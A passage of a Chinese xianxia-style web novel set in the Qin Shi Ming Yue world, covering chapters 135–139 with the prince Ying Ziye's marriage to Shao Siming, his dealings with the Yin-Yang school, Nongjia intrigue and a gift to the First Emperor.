青庐内燃着龙涎香,玄纱帐幔层层垂落。
赢子夜取下腰间玉具剑挂在架上,金属碰撞声惊得少司命肩头一颤。
“怕什么?”
他忽然轻笑,指尖划过案上合卺酒,“你我既行六礼,便是天地认定的夫妻。”
酒盏相碰时,少司命面纱终于滑落,露出那张从未示人的容颜。
赢子夜目光微凝。
她左颊竟有一道淡紫色咒印,正随着呼吸明灭。
“东皇下的禁制?”
他屈指轻触咒印,瞬息消融!
少女立刻闭目侧首。
帐外忽然传来三声梆子响,赢子夜收回手:“子时了。”
说着推开轩窗,远处蜃楼的轮廓在月色中若隐若现。
少司命突然抓住他衣袖,在空中划出紫芒:“今夜星象大凶。”
赢子夜却将她的手按在案上:“夫人忘了?”
掌心翻转间,一片竹叶化作齑粉,“从今日起,你该看的是大秦的星象。”
更漏滴答中,他解下外袍覆在少女肩头。
“睡吧。”
语气平静得像在说一件寻常事,“明日还要应付那些来‘贺喜’的百家之人。”
烛火倏灭时,少司命听见他最后一句低语。
“蜃楼那边…为夫自有计较。”
窗外,一片竹叶飘落在合卺酒杯中,泛起细微涟漪。
……
翌日。
晨光透过窗棂洒进内室,赢子夜斜倚在软榻
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上,指尖轻挑着那枚青铜令牌。
侠魁令在阳光下泛着幽冷的光泽,边缘暗红的污渍愈发刺目。
少司命捧着茶盏走近,紫眸落在令牌上时微微一凝。
她放下茶盏,开口道:“胡亥献此物,必有所图。”
赢子夜将令牌高高抛起又接住,唇角噙着玩味的笑:“夫人觉得,若是胜七此刻握着这令牌出现在大泽山……”
少司命指尖一顿,轻声道:“胜七曾是侠魁最有力的继任者。”
“若他持令现身,农家十万弟子恐生变数。”
“变数?”
赢子夜忽然轻笑出声,随手将令牌掷在案几上,发出“铛”的一声脆响。
他起身踱到窗前,玄色衣袍扫过地上未收的合卺酒杯。
“你高看他了。”
“这些年田蜜早将他旧部瓦解殆尽,如今不过是个丧家之犬。”
少司命蹙眉望着被丢弃的令牌,紫发间银丝缠就的流苏轻轻晃动。
她正要再说什么,却见赢子夜突然转身,眸中闪过一丝狡黠。
“不过…让这令牌借他之手重现农家,倒是有趣。”
手指轻轻敲击窗棂,“田蜜会发疯,田虎会跳脚,朱家嘛……怕是又要换面具了。”
窗外传来侍卫的脚步声,赢子夜忽然话锋一转。
“这些琐事容后再议。”
他走向少司命,指尖拂过她颊边。
昨日那印记被他抹散后并未留痕。
“眼下有更要紧的事。”
“东皇太一送的贺礼,该去验验成色了。”
少司命瞳孔骤缩,下意识后退半步,却被赢子夜扣住手腕。
“怕什么?”
赢子夜低笑,拇指摩挲着她腕间跳动的脉门。
“昨日行过六礼,你便是我赢子夜明媒正娶的夫人。”
他俯身在她耳边轻语,温热的气息拂过耳垂。
“就算东皇现在就站在面前,也带不走你。”
少司命怔怔望着他,忽然意识到什么,紫眸中泛起波澜。
赢子夜却已转身取下架上的天子剑,剑鞘与玉佩相撞,发出清越的声响。
“走吧。”
他推开房门,晨光为玄色衣袍镀上金边,“让为夫带夫人看看,什么叫…真正的星辰大海。”
……
庭院里,公孙墨玄早已备好车驾。
见二人出来,连忙上前低声道:“主上,刚收到密报,胜七已闯入农家蚩尤堂……”
赢子夜摆摆手打断他,却将一片竹叶塞进少司命手中。
“夫人若担忧农家,不妨卜一卦?”
眼中,笑意渐深。
“就用东皇教你的法子。”
少司命攥紧竹叶,望着远处巍峨的蜃楼轮廓。
晨雾中,那巨船宛如蛰伏的凶兽,而她的夫君正带着她,一步步走向兽口。
第136章 本公子要的,是整个阴阳家!
蜃楼高耸入云。
青铜铸造的船身在晨光中泛着冷冽的金属光泽。
赢子夜携少司命踏过九重玉阶。
两侧阴阳家弟子纷纷跪伏,紫袍在风中猎猎作响。
“六公子亲临,有失远迎。”
月神立在殿前,薄纱下的眼眸扫过少司命颊边咒印。
“东皇阁下已恭候多时。”
赢子夜玄色大氅扫过地面,径直越过月神。
“本公子今日来,是要问一句——”
他忽然驻足,声如寒铁!
“阴阳家…是否还忘了什么事?”
殿内烛火齐齐一暗!
高台之上,东皇太一的黑金面具在幽蓝火焰中若隐若现。
“六公子所指,可是这‘紫薇封魂咒’?”
宽大袖袍无风自动,一道星芒直射少司命眉心。
少司命浑身剧颤,颊边咒印如活物般扭曲!
金光一闪!
赢子夜闪电般抬手,天子剑未出鞘,已挡下星芒!
金石交击之声震得梁上铜铃叮当乱响!
“东皇太一。”
赢子夜缓步上前,声音压得全殿寂静。
拇指轻推剑格,三寸青锋露出森冷寒光。
“本公子如今娶妻,不喜有人动我夫人一根发丝。”
他目光如电,“咒印,是你下的。”
“现在,当众解。”
他语气忽顿,寒意陡生:“要是不解…”
“我便让你这张脸,从今天起,永远只配藏在面具底下。”
殿内死寂!!!
星魂指尖已凝出幽蓝气刃,却被大司命死死按住手腕。
东皇太一忽然大笑,笑声震得星图簌簌颤抖。
“好!不愧是能收服我阴阳家少司命之人。”
他抬手结印,九道星光从天井垂落,在少司命周身交织成牢笼。
“但解此咒,需见血——”
话音未落,赢子夜剑锋已划破掌心。
鲜血滴在星轨上,竟化作赤金火焰熊熊燃烧。
少司命惊呼出声!
那道困扰她十余年的咒印在火光中寸寸崩裂,最终化作紫烟消散!
“现在……”
赢子夜甩去剑上血珠,睥睨高台。
“该看看东皇阁下的‘贺礼’了。”
东皇太一见状,袖中手指微颤。
他精心布置的封印,竟被此人以帝王血强行破去!
沉默片刻,黑袍忽然如夜枭般展翅而起。
“随我来。”
穿过七重星门,众人停在一方青铜巨门前。
巨门缓缓开启,幽蓝的星光如水般倾泻而出。
东皇太一黑袍翻涌,声音低沉如古井回响:“六公子,既已至此,不妨看看我阴阳家真正的诚意。”
殿内悬浮着七卷玉简。
每一卷都缠绕着不同颜色的灵气。
月神手捧鎏金漆盘上前。
盘中躺着枚青铜钥匙:“此乃少司命的身世之物。”
赢子夜接过钥匙。
指尖摩挲过上面刻着的“衣”字。
少司命紫眸微颤,不自觉地抚上自己心口。
“她本名小衣。”东皇太一抬手。
星光在空中交织出幻象——
战火纷飞的村庄…
哭泣的女童…
以及……倒在血泊中的少年。
“其兄小灵为护她而死,后被云游的阴阳家长老所救。”
幻象中,年幼的少司命跪在星图前。
东皇太一的声音继续道:“本座见她天赋异禀,便以紫薇星力为她重塑根基。”
画面一转。
少女在万千竹叶中修**阴阳术的身影翩若惊鸿。
赢子夜忽然轻笑。
指尖轻点,幻象顿时破碎成星芒:“东皇阁下倒是打得好算盘。”
他揽住少司命纤细的腰肢:“先以联姻结盟,再借本公子之力谋取苍龙七宿?”
星魂闻言。
幽蓝气刃已在袖中凝聚。
东皇太一却抬手制止:“六公子明鉴。”
他黑袍一挥,七卷玉简齐齐展开:“此为阴阳家千年秘传《星衍经》,今日尽数奉上。”
“今后…就是一家人。”
少司命望着其中泛着紫光的玉简,不自觉地向前半步。
赢子夜会意。
抬手将那卷摄入掌中:“夫人且看。”
又转向其余玉简:“这些,本公子也要了。”
东皇太一面具下的呼吸明显一滞!
只见赢子夜掌心突然腾起赤金火焰。
七卷玉简在火中旋转融合,竟渐渐化作一本全新的典籍!
更令人震惊的是,那些星力文字正在重组——
原本阴阳家的秘术,正在被改编成更适合皇道修炼的**!!!
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“这……这不可能!”
大司命失声惊呼。
星魂更是面色惨白。
他分明看见自己苦修二十年的“魂兮龙游”心法,正在被改造成“帝巡八荒”!
东皇太一黑袍无风自动。
声音终于出现裂纹:“六公子竟能……重构阴阳术?!”
赢子夜合上典籍,随手递给少司命:“东皇阁下的诚意,本公子收下了。”
他目光扫过震惊的阴阳家众人:“至于苍龙七宿……”
话音间,少司命忽然上前。
紫眸直视东皇太一的面具。
她指尖轻点自己心口,又指向赢子夜。
最后在空中写下“苍龙”二字。
意思再明白不过——
她既已嫁入赢氏,阴阳家若想染指苍龙七宿,必须通过她的夫君!!
东皇太一沉默良久。
黑袍渐渐平息。
他缓缓抬手。
一枚星形玉佩从袖中飞出:“凭此物,六公子可尽情调动阴阳家半数弟子。”
玉佩落入赢子夜掌心时,竟自动化作玄鸟形状。
“终有一日…当苍龙七宿解开之时,蜃楼…必将起航。”
赢子夜收剑入鞘。
揽着少司命转身离去。
经过星图时,他随手弹出一缕金焰。
那七宿星位顿时亮如白昼。
身后传来玉简坠地的脆响。
是大司命惊得脱了手!
“夫君……”
少司命突然轻声唤道。
她声音清冷如泉,却带着几分迟疑,“我的**……”
赢子夜指尖拂过她眉心。
一缕金芒没入紫纹:“你既已姓赢,自然要修皇道之术。”
说着将改造后的典籍放入她手中,“今晚为夫亲自教你。”
……
蜃楼外。
夕阳如血。
赢子夜忽然驻足。
望向骊山方向:“东皇太一以为用你能换苍龙七宿……”
他低笑一声。
捏碎掌心的玄鸟玉佩,“却不知,本公子要的是整个阴阳家!”
少司命紫眸微闪。
将典籍紧紧抱在胸前。
风起时,她发间银铃轻响。
恍若星辰私语。
少司命转头望去。
只见赢子夜玄色衣袍上金线绣的玄鸟,在星光照耀下宛如活物般振翅欲飞!
第137章 农家这潭水,是时候彻底搅浑了!
大泽山的夜色浓稠如墨。
胜七背着巨阙剑,身形如鬼魅般穿梭在密林间。
树影婆娑间,他粗犷的面容上那道狰狞的伤疤更显凶戾。
突然,他脚步一顿,巨阙剑“锵”地出鞘三寸!
前方树后传来细微的呼吸声。
“出来!”
胜七低吼,声如闷雷。
树后转出一个佝偻身影,斗笠压得极低,正是共工堂总管金先生。
他搓着手,声音沙哑:“这位兄弟,深夜擅闯农家禁地,怕是不妥……”
胜七眼中凶光暴涨,巨阙剑轰然劈下!
金先生却诡异地一扭身,枯瘦的手指如铁钳般扣住他手腕。
两人角力间,斗笠被剑气掀飞。
露出那张熟悉的脸——
“吴……旷?”
胜七虎目圆睁,巨阙剑“当啷”落地。
他颤抖着伸手去碰对方脸颊上那道疤。
“你不是被田蜜那**……”
吴旷急忙捂住他的嘴,警惕地环顾四周。
“大哥,噤声!”
他拽着胜七躲进山缝,这才压低声音道:“当年沉塘时,是侠魁大人暗中救我。”
“这些年我化名‘金先生’潜伏共工堂,就是为了查清真相。”
胜七死死攥住他肩膀,指节发白。
“你可知我这些年……”
话未说完,远处突然传来脚步声。
吴旷猛地将他推到岩壁后,自己佝偻着背迎上去。
“田虎堂主,这么晚还巡视?”
田虎独眼在月光下泛着凶光,虎魄剑指着吴旷。
“老金,深更半夜在这作甚?”
“回堂主。”
吴旷咳嗽着掏出烟袋。
“**病犯了,来找些夜交藤。”
他故意让袖中滑出几根药草。
“您要不要也来点?安神的。”
田虎狐疑地扫视四周,突然抽动鼻子。
“有血腥味!”
胜七在岩缝中肌肉绷紧,巨阙剑已悄然入手。
却听吴旷笑道:“堂主明鉴,老朽方才宰了只野兔。”
说着从腰间解下只血淋淋的布袋。
“您要不嫌弃……”
“晦气!”
田虎啐了一口,转身离去时突然回头。
“明日烈山堂议大事,别迟到!”
待脚步声远去,胜七从阴影中冲出,一把揪住吴旷衣领。
“你竟与这些贼子称兄道弟?!”
他指着田虎消失的方向,“当年就是他们联手诬陷我们。”
吴旷掰开他的手,眼中精光乍现。
“大哥,你还没发现吗?”
他从怀中掏出一块黑铁令牌,上面蜘蛛纹路狰狞可怖。
“这是我从田蜜心腹身上搜到的,罗网的标记!!!”
胜七如遭雷击!
当年种种疑点突然串联。
田蜜突如其来的指控…
几位堂主反常的团结…
还有那场蹊跷的沉塘…
“你是说……”
胜七声音嘶哑。
“农家早已被罗网渗透?”
吴旷重重点头,从鞋底抽出一卷绢帛。
“这是近五年农家各堂的异常调动。每逢月晦,都有弟子秘密前往山下一处宅院。”
他指向绢帛上的朱砂标记。
“我跟踪三次,每次都跟丢在某座府邸附近。”
远处传来夜枭啼叫,吴旷突然将胜七推到树干后。
“有人来了!”
只见月光下,田蜜摇曳生姿地走来,手中烟枪泛着诡谲的紫雾。
她身后跟着个戴斗篷的身影,赫然是罗网六剑奴中的转魄!
“田蜜这**!”
胜七目眦欲裂,巨阙剑嗡嗡震颤。
吴旷死死按住他。
“大哥冷静!你现在冲出去,正中罗网下怀!”
他快速耳语。
“我在共工堂埋了暗桩,三日后田仲会带人去咸阳。届时我们……”
田蜜突然驻足,狐疑地望向密林。
“谁在那?”
转魄长剑已然出鞘,剑气削落大片枝叶!
千钧一发之际,岩缝中窜出只山猫,“喵”地逃走了。
“疑神疑鬼。”
田蜜娇笑着靠向转魄。
“走吧,赵大人还等着我们的情报呢……”
待二人走远,胜七一拳砸在树上,木屑纷飞。
“我要活剐了这毒妇!”
吴旷却露出森冷笑容。
“大哥,杀她容易,但罗网在农家的暗桩必须连根拔起。”
他从怀中掏出一块青铜碎片。
“这是我从田猛遗物中找到的,上面刻着‘青龙计划’四字。”
胜七瞳孔骤缩。
当年侠魁大人失踪前,也曾提过这个计划!
“三日后田仲去咸阳,必是见赵高。”
吴旷将碎片塞给胜七。
“大哥不妨趁机去烈山堂找田言,那丫头看似柔弱,实则……”
“田猛的女儿?”
胜七冷笑:“她爹当年可没少出力害我们。”
吴旷摇头。
“正因如此,她才最可能知道真相。”
突然!
他警觉地望向天际。
“有人在窥探气息!大哥快走,记住——”
他飞速在胜七掌心划了几个字。
“金先生会配合你。”
胜七深深看了眼义弟佝偻的背影,咬牙掠入深林。
……
六公子府内。
烛火摇曳。
赢子夜盘坐在书房软榻上,指尖轻点案几上的竹简。
一缕缕金色流光从简上浮起,在空中交织成玄奥的符文轨迹。
少司命静静立在窗边。
月光透过她紫色的长发,在青石地上投下斑驳光影。
“过来。”赢子夜突然开口,指尖的金芒未散。
少司命脚步轻盈地走近,却在三步外停下。
她抿了抿唇,终是轻声道:“夫君?”
声音如清泉击玉,带着生涩的柔软。
赢子夜眼中闪过一丝讶异,随即轻笑:“夫人的声音这般动听,以后可要多说一些。”
他抬手将空中金芒引向她眉心,“这些是我从东皇的那些**和星图中悟出的‘周天星斗
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诀’,今日传于你。”
金芒入体的刹那,少司命浑身一颤!
她眸中紫光大盛,周身浮现出与蜃楼星图如出一辙的光纹。
那些困扰她多年的阴阳术滞涩处,竟如冰消雪融般豁然开朗。
“这……”
她难以置信地低头看着自己流转星芒的指尖,“夫君为何……”
“你既已是我的人,自然该学最好的。”
赢子夜从袖中取出个白玉匣,掀开后药香满室,“这是为夫用星力炼制的‘璇玑丹’,每七日服一粒。”
他忽然捏起她下巴,仔细端详她光洁的左颊,“封印可还作痛?”
少司命轻轻摇头,紫眸中泛起涟漪:“多谢夫君为我解咒。”
声音虽轻,却字字清晰,“若非夫君,我此生都难逃东皇掌控。”
赢子夜拇指抚过她微颤的睫毛:“傻话。”
语气罕见地温和,“你我夫妻一体,何须言谢?!”
说着又将个锦囊塞入她手中,“这里还有三瓶‘玉液琼浆’,修炼时若气海枯竭便饮一口。”
少司命捧着锦囊,忽然单膝跪地:“妾身…必不负夫君所授。”
紫发垂落,掩去眼角一滴晶莹。
“起来。”
赢子夜虚扶一把,转头望向门外,“赵弋苍。”
铁塔般的身影立刻出现在廊下。
铁面在月光下泛着寒光:“主上有何吩咐?”
赢子夜指尖一挑,案几抽屉自动滑开。
那枚沾血的侠魁令缓缓浮起:“将此物送去大泽山。”
令牌在空中划出弧线,稳稳落入赵弋苍掌心,“记住,要让它‘恰好’被胜七发现。”
赵弋苍铁面下的眼睛眯起:“属下明白。正好田仲三日后要带人来咸阳,届时农家防备最松。”
“田蜜那边……”
赢子夜声音依旧清冷,却多了几分肃杀。
“此人当由农家自己清理门户。”
“必要时可助胜七一臂之力。”
忽然,他又想起什么,“对了,那个‘金先生’……”
“属下已查明,正是吴旷所扮。”
赵弋苍低声道,“昨日我们的人索查气息,发现他与胜七昨夜在枫林相认,此刻应已结盟。”
烛火“啪”地爆了个灯花!
赢子夜把玩着少司命一缕紫发,似笑非笑:“有意思。”
“传令昭鞅,到时候暗中跟着田仲,确认他见到了赵高。”
……
待赵弋苍离去,少司命忽然握住赢子夜的手:“夫君真要动?”
他忽然将少司命拉入怀中,在她耳边低语,“陪为夫一起看场好戏。”
少司命耳尖微红,却坚定地点头。
窗外忽然掠过一道黑影。
是昭鞅踩着屋脊疾驰而过,腰间短刃在月光下泛着幽蓝的光。
赢子夜望着黑影消失的方向,轻笑一声:“农家这潭水,是时候彻底搅浑了。”
指尖无意识地摩挲着少司命发间银簪。
那簪头雕着的玄鸟,眼睛正是两粒取自七宿星辰的星砂。
第138章 胡亥:本公子才是大秦第一天才!
十八公子府内,熏香袅袅。
胡亥赤着脚踩在雪白的狐裘毯上,指尖把玩着一枚青铜棋子。
赵高垂手立在阴影处,苍白的面容在烛光下忽明忽暗。
“老师~”胡亥突然开口,声音甜得像蜜。
“你说祭祀大典上要是突然冒出几个刺客…”
他歪着头,天真地眨着眼。
“父皇会不会气得把章台宫的柱子都拍断呀?”
赵高眼皮一跳:“公子慎言。若真有人行刺,陛下震怒之下,首当其冲的便是负责主持的六公子。”
“对呀对呀!”胡亥雀跃地拍手。
棋子“啪”地落在棋盘上。
“更妙的是——”
他忽然凑近赵高,孩童般清澈的眸子直勾勾盯着对方。
“如果那些刺客身上,藏着儒家弟子才有的玉佩呢?”
赵高瞳孔骤缩:“公子的意思是…”
“淳于越那老东西,不是整天嚷嚷着要为大哥讨公道吗?”
胡亥哼着歌,将一枚刻着“仁”字的玉玦按在棋盘上。
“我们就帮他们…表表忠心?”
烛火“噼啪”爆了个灯花!
赵高袖中的手指微微颤抖:“老奴这就去安排。正好帝宫之学正在施工,混入几个死士易如反掌……”
胡亥突然咯咯笑起来。
笑声在空旷的大殿里回荡:“老师真聪明!”
他蹦跳着转到赵高身后,冰凉的小手搭上对方肩膀。
“不过…”
声音陡然转冷:“我要的是儒家嫡系弟子的信物,可别拿些破烂糊弄我哦。”
赵高额角渗出冷汗:“老奴亲自去小圣贤庄……”
“不必~”
胡亥又恢复了天真语调。
“张良走之前留给儒家门人的那块‘君子如玉’的玉佩,我看着就挺好。”
……
待赵高躬身退下,胡亥脸上的笑容瞬间消失。
他赤脚走向书房暗处,机关转动声响起,露出一间密室。
墙上密密麻麻挂着星图,正中央竟是一幅与蜃楼核心如出一辙的七宿阵。
“老师啊老师……”
胡亥指尖划过星图,异色双瞳在黑暗中泛着妖光。
“有些事…我虽然不常提,可不代表我没意见。”
他忽然结印,左手泛起幽蓝光芒,右手却腾起赤红火焰。
若是星魂在此,定会骇然失色!
这分明是阴阳家禁术“日月同辉”。
就连东皇太一都曾言,非双魂同体者不可修**。
“第五重了…”
胡亥看着双臂上交缠的光焰,满意地眯起眼。
星魂苦修二十年不过第三重,而他,暗中修炼才三年就已突破瓶颈!
光焰映照下,密室里赫然陈列着各种阴阳家法器。
最显眼处竟是一盏与月神房中一模一样的星灯。
“东皇阁下。”
胡亥对着虚空轻笑。
“您送给六哥的‘贺礼’,是不是也该…分我一份?”
他忽然转身,袖中飞出一道紫芒,精准击中暗格。
里面滚出个琉璃瓶,浸泡在药液中的赫然是一枚与少司命脸上如出一辙的咒印!!
“封魂咒……”
胡亥爱惜地抚摸着瓶身。
“多美的花纹啊。”
异色双瞳中闪过一丝贪婪。
“等六哥和阴阳家斗得两败俱伤时……”
他突然捏碎瓶子,咒印在掌心燃烧起来,却伤不到他分毫。
“这些就都是我的了。”
密室外突然传来脚步声。
胡亥瞬间收敛气息,变回那人畜无害的模样。
进来的是个稚嫩侍女,捧着碗莲子羹:“公子,您要的甜汤……”
“放着吧~”胡亥甜甜地笑。
月光透过窗棂,照在他正缓缓渗出血色的脸上。
……
数日之余。
大泽山深处。
夜雾弥漫。
胜七如一头暴怒的凶兽,撞开田蜜闺房的暗门。
屋内还残留着甜腻的脂粉香。
他粗暴地掀翻梳妆台。
胭脂水粉洒了一地。
突然。
他的目光钉在墙角暗格。
那里露出一角绢帛。
“这是……”
胜七粗粝的手指展开绢帛。
上面赫然是田蜜娟秀的字迹:
【明日亥时,引侠魁至断魂崖,罗网已埋伏妥当,务求一击毙命。】
落款处还画着个小小的蜘蛛标记。
“**!”
胜七目眦欲裂。
巨阙剑“锵”地出鞘,将整张绣床劈成两半!
床板断裂处,一枚青铜令牌当啷落地。
正是失踪多年的侠魁令!
他颤抖着拾起令牌。
边缘暗红的污渍刺痛了眼睛。
当年侠魁失踪那夜的事情,还历历在目……
“大哥!”
吴旷的声音突然从窗外传来。
胜七猛地回头。
只见义弟扒着窗棂,脸色煞白:“快走!田蜜回来了!”
胜七将绢帛和令牌塞入怀中,巨阙剑背负在后,开窗跃入密林。
两人在崎岖山路上疾奔。
直到躲进一处废弃矿洞,胜七才掏出证物,虎目含泪:“你看!当年就是这毒妇勾结罗网……”
吴旷仔细查验绢帛,眉头越皱越紧:“不对。”
他突然指向某个字迹转折处:“田蜜写‘蜜’字最后一笔向来上挑,这却是平的!”
胜七一愣:“你是说……”
“有人栽赃!”
吴旷压低声音:
“但这侠魁令确实是真的……”
他忽然想到什么,脸色大变:
“不对,这是有人要彻底搅乱农家!”
胜七握紧令牌,骨节咔咔作响:
“管他是真是假,趁现在召集弟兄们,揭穿这**的真面目!”
“大哥且慢!”
吴旷死死按住他持剑的手:
“你想想,现在拿出这些,田蜜必会反咬我们伪造证据,蚩尤堂、共工堂那些墙头草会信谁?”
吴旷快速耳语:“我这些年暗中联络了三十多位老弟兄,都在潜伏着,等田仲去咸阳,我们……”
胜七突然一拳砸在洞壁上。
碎石簌簌落下!<
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br>“等?老子等了七年!”
“大哥!”
吴旷突然掏出一块铁牌。
上面刻着“青龙”二字:
“看看这个!罗网在农家经营多年,光杀田蜜有什么用?”
胜七盯着铁牌,突然想起什么:
“上次忘记给你说,当年侠魁失踪前,也曾跟我和田猛说过这个‘青龙计划’……”
远处火把渐近,农家弟子巡逻的声音传来。
吴旷拽着胜七往洞穴深处退:“信我一次!等待时机!”
胜七犹豫片刻,终于还是点了点头。
紧接着,两人分头消失在错综复杂的矿道中。
谁也没注意到。
洞穴顶上一只青铜铸造的松鼠正缓缓收回窥视的复眼。
那分明是公输家的机关兽!
……
夜色深沉。
赢子夜独坐书房。
指尖轻叩案几。
烛火将他的侧脸映得半明半暗。
案前竹简上墨迹未干,那是暗河刚送来的密报。
“惊鲵……”他低声呢喃。
手指突然一顿。
“田猛之妻,田言之母?”
眼中精光乍现!!
他猛地拍案而起:“赵弋苍!”
铁塔般的身影应声出现。
单膝跪地时铠甲铿锵作响:“主上。”
“查。”
赢子夜袖中滑出一枚青铜令牌,正是罗网天字**的标记。
“我要知道罗网上一任惊鲵的所有线索。”
他指尖轻点令牌上蜘蛛纹路的眼睛,“包括她为何会背叛组织,又为何会嫁给田猛。”
赵弋苍铁面下的呼吸明显一滞:“主上怀疑她之死,另有隐情?”
“田言,自称‘农家女管仲’。”
赢子夜冷笑。
“若她真是惊鲵所生,那她的出身…就远比她自己知道的复杂得多。”
他掌中令牌缓缓旋转,微光在其上蜘蛛浮雕中穿梭爬行。
“惊鲵曾是‘越王八剑’之一,名列天字一等。”
“她的武功、容貌、履历,都堪称罗网最锋利的一把刺剑。”
“可她为何会在任务途中逃脱?为何会下嫁田猛?”
“又为何会被罗网囚禁,至死无人知晓?”
他看向赵弋苍,目光幽冷。
“我要的是她背叛的真相——也是田言之母身死的真相。”
赵弋苍缓缓颔首:“主上是要…以此动摇田言?”
话音刚落。
窗外突然掠过一道黑影!
昭鞅如鬼魅般翻窗而入,袖口还沾着夜露:“主上,刚截获罗网密信。”
他呈上一片竹简,“赵高命人潜入帝宫之学。”
赢子夜扫过竹简。
突然轻笑出声:“有意思。”
指尖燃起一缕金焰将竹简焚毁,“告诉公孙墨玄,在帝宫之学给罗网的人留条‘活路’。”
他特意在最后两字上咬了重音,“记住,要让他们以为是凭本事闯进去的。”
二人领命。
赢子夜忽然心有所感。
他挥手屏退左右。
每日秒杀系统,开启!
第139章 天子擒龙功!!!
“今日倒是准时。”
他指尖轻点。
波纹中缓缓浮现一枚紫金丹丸和一卷玉简。
紧接着浮现文字:“九转紫金丹:洗髓伐脉,可破境界桎梏。”
赢子夜沉吟片刻。
毫不犹豫地取出早已备好的秦半两。
随着他指尖一弹,铜钱瞬间消失。
取而代之的是悬浮在空中的丹丸。
丹药入手的刹那,磅礴药力竟引得他周身真气自动流转!
赢子夜深吸一口气,望着咸阳宫的方向,目光深沉如渊。
“六国余孽虽已平定大半,诸子百家亦被**……”
他低声自语,指尖无意识地摩挲着腰间的玉佩。
“但大秦的根基,还远远称不上稳固。”
北疆的风似乎穿过千里,吹进了这间书房。
赢子夜仿佛看到了那片广袤的草原。
匈奴的铁骑,胡人的弯刀,狼族的图腾武士……
那些异族强者,每一个都足以在江湖上掀起腥风血雨。
“头曼单于……”
他冷哼一声,眼前浮现出一幕幕景象:
十万铁骑在阴山下集结,狼图腾在风中猎猎作响。
他的手指突然攥紧,玉佩发出轻微的碎裂声!
赢子夜的目光又转向南方,那里有更棘手的敌人。
百越之地的蛮族。
他们不修边幅,却精通各种诡异巫术,山林中的毒虫猛兽皆为其所用。
“父皇虽一统六国,但这些蛮夷…”
“还亟需归化王道!”
赢子夜眉头微皱,转身走向案几。
烛火将他的影子拉得很长,在墙上如一条蛰伏的龙。
案几上静静躺着一卷玉简,通体莹白,上有金龙纹路。
这是他之前秒杀到的《天子擒龙功》。
传闻乃上古帝王所创,修至大成可镇国运,延寿元!
“大秦…需要祖龙!!!”
赢子夜轻轻抚过玉简,眼中闪过一丝决然。
他小心地将玉简收入锦盒,又取出一个紫檀木匣,将刚秒杀到的九转紫金丹慎重放入。
“北疆匈奴,南境百越……”
赢子夜合上木匣,声音低沉,“这些跳梁小丑,也该让他们见识见识,什么才是真正的…”
“帝王之威!!!”
……
夜已深沉,章台宫内烛火通明。
赢子夜踏着月色而来,玄色朝服上暗绣的金纹在宫灯映照下若隐若现。
殿门前的黑甲卫无声行礼,为他推开沉重的宫门。
始皇帝端坐龙案之后,冕旒垂下的玉珠遮住了半张面容。
见赢子夜深夜前来,他手中朱笔微微一顿:“子夜何事?”
赢子夜深深一揖,双手奉上紫檀木匣:“儿臣得此宝物,特来献与父皇。”
始皇帝指尖轻挑,匣盖应声而开。
一枚紫红如血的丹丸静静躺在锦缎之上,散发着奇异幽香。
更引人注目的是旁边那卷玉简,其上五爪金龙纹路栩栩如生。
“此丹名为‘九转紫金丹’。”
赢子夜声音清朗,“可助父皇彻底剔除体内杂质和毒素,令修为更上一层楼!”
殿内烛火突然摇曳。
始皇帝缓缓抬头,冕旒玉珠碰撞出清脆声响。
那双常年深藏不露的眼眸中,此刻竟有精光流转!!
“你……如何知晓朕修武?”
赢子夜不慌不忙,再次拱手:“父皇当年质赵时,曾拜申越为师。”
“归秦后虽政务繁忙,却从未放下武道。”
他微微抬头,目光坦然,“咸阳宫中收藏的名剑,每一柄父皇都曾亲手擦拭。”
“诸子百家的典籍,父皇更是阅尽精华!”
一阵沉默。
始皇帝突然大笑,笑声震得梁上灰尘簌簌落下:“好!好一个六公子!”
宽大的袖袍一挥,案上竹简尽数扫落,“朕倒是小瞧你了。”
赢子夜保持躬身姿势,继续道:“这卷《天子擒龙功》,传闻乃上古帝王所创。”
“儿臣偶然得之,思来想去,唯有父皇配修此功!!”
始皇帝接过玉简,指尖触及其上龙纹的刹那,整座大殿忽然微微一震!!
玉简上的金龙竟似活了过来,在简上游走一圈,发出清越龙吟!
“有意思。”
始皇帝眯起眼睛,冕旒下的目光如电般射向赢子夜,“你可知此物价值?”
“儿臣只知,大秦需要一条真龙!”
赢子夜声音沉稳:“当今天下,北疆匈奴虎视眈眈,百越蛮族蠢蠢欲动。”
“父皇若能更进一步,便是社稷之福!!!”
烛火将父子二人的影子投在墙上,一坐一立,如两条蛰伏的巨龙!
始皇帝突然屈指一弹,一枚玉珠破空而来。
赢子夜纹丝不动,玉珠在距他眉心三寸处突然炸裂,化作齑粉飘散!
“你的修为……”
始皇帝声音中带着几分讶异。
这小子…确实是不需要此秘籍。
赢子夜依旧躬身:“不及父皇万一。”
始皇帝沉默片刻,突然将玉简和丹药收入袖中:“朕收下了。”
顿了顿,“明日大朝会,你代朕主持。”
“诺。”
赢子夜深深一拜,转身退下。
玄色衣摆扫过光洁的地面,没有发出半点声响。
……
待宫门缓缓闭合,始皇帝才从袖中取出玉简,指腹摩挲着上面的龙纹。
烛光下,他的眼神复杂难明:“子夜…你身上到底还藏着多少秘密?”
忽然,他指尖一颤。
玉简上的金龙纹路竟顺着他的经脉游走起来,瞬间贯通四肢百骸。
始皇帝周身气息骤然一变,案上烛火齐齐低伏,仿佛在向真正的王者臣服。
他缓缓起身,冕旒垂下的玉珠纹丝不动。
袖袍轻拂,案上烛火齐齐熄灭,唯有那枚紫红丹丸在黑暗中泛着幽幽血光。
“九转紫金丹…”
始皇帝低语,指尖捻起丹丸的刹那,整座大殿突然无风自动!
十二盏青铜灯台同时震颤,灯油却未溅出半分!
他仰头服下丹药,喉间发出一声满足的喟叹!
刹那间,一股磅礴威压以章台宫为中心轰然爆发!
宫墙上的玄鸟纹饰齐齐亮起,又迅速黯淡。
殿外守卫的黑甲卫突然跪倒在地,手中长戟深深插入地面才能稳住身形。
“怎么回事?”
侍卫长惊恐抬头,
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却见夜空中的云层正以章台宫为中心缓缓旋转,形成巨大的漩涡!!!
一道金光自宫顶冲天而起,隐约化作龙形,转瞬即逝!
赢子夜的马车刚驶出宫门不远,拉车的骏马突然人立而起,发出惊恐的嘶鸣。
他掀开车帘,只见远处章台宫上空云气翻涌,一股令人窒息的威压如潮水般扩散开来。
“天子擒龙功…”
赢子夜瞳孔微缩,手指不自觉攥紧窗框。
木质窗棂在他掌下化为齑粉,他却浑然未觉。
这股威势远超他的预期。
父皇的修为,竟已至如此境界?
威压…持续了约莫半刻钟才渐渐消散。
赢子夜松开手,任由夜风吹散掌心的木屑。
他忽然低笑一声:“好一个祖龙。”
语气中既有惊叹,又带着几分棋逢对手的兴奋。
……
与此同时。
